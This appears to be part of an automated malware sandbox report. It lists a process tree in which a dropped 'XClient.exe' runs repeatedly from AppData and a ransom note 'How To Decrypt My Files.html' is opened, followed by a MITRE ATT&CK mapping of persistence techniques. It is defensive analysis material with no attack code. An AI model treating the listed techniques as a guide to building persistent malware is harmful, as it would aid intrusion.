"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3844.7.1151823209\1843139894" -childID 5 -isForBrowser -prefsHandle 4360 -prefMapHandle 2784 -prefsLen 28134 -prefMapSize 230913 -jsInitHandle 1348 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {478088c7-29b4-4751-a756-165e7b936a2b} 3844 "\\.\pipe\gecko-crash-server-pipe.3844" 4364 15131a5fd58 tab
5⤵
PID:776

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\How To Decrypt My Files.html
2⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:6480

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff93ab146f8,0x7ff93ab14708,0x7ff93ab14718
3⤵
PID:6532

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2148,125416007928893542,5500782097280410354,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2420 /prefetch:3
3⤵
PID:6788

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2148,125416007928893542,5500782097280410354,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2160 /prefetch:2
3⤵
PID:7140

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2148,125416007928893542,5500782097280410354,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2692 /prefetch:8
3⤵
PID:6988

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,125416007928893542,5500782097280410354,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:1
3⤵
PID:2692

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,125416007928893542,5500782097280410354,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:1
3⤵
PID:3524

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,125416007928893542,5500782097280410354,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5344 /prefetch:8
3⤵
PID:7360

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
3⤵
- Drops file in Program Files directory
PID:7436

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ff655a85460,0x7ff655a85470,0x7ff655a85480
4⤵
PID:7472

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,125416007928893542,5500782097280410354,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5344 /prefetch:8
3⤵
PID:7736

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,125416007928893542,5500782097280410354,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5436 /prefetch:1
3⤵
PID:3176

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,125416007928893542,5500782097280410354,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5408 /prefetch:1
3⤵
PID:7776

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,125416007928893542,5500782097280410354,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5752 /prefetch:1
3⤵
PID:8044

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,125416007928893542,5500782097280410354,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5452 /prefetch:1
3⤵
PID:8048

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,125416007928893542,5500782097280410354,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:1
3⤵
PID:1304

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,125416007928893542,5500782097280410354,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3760 /prefetch:1
3⤵
PID:1776

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4932

C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4760

C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3240

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:948

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\Documents\BlockApprove.csv"
2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1736

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793} -Embedding
1⤵
PID:3632

C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3252

C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5124

C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:6388

C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5228

C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5216

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:7008

C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2276

C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5904

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

Credential Access

Discovery

Query Registry

System Information Discovery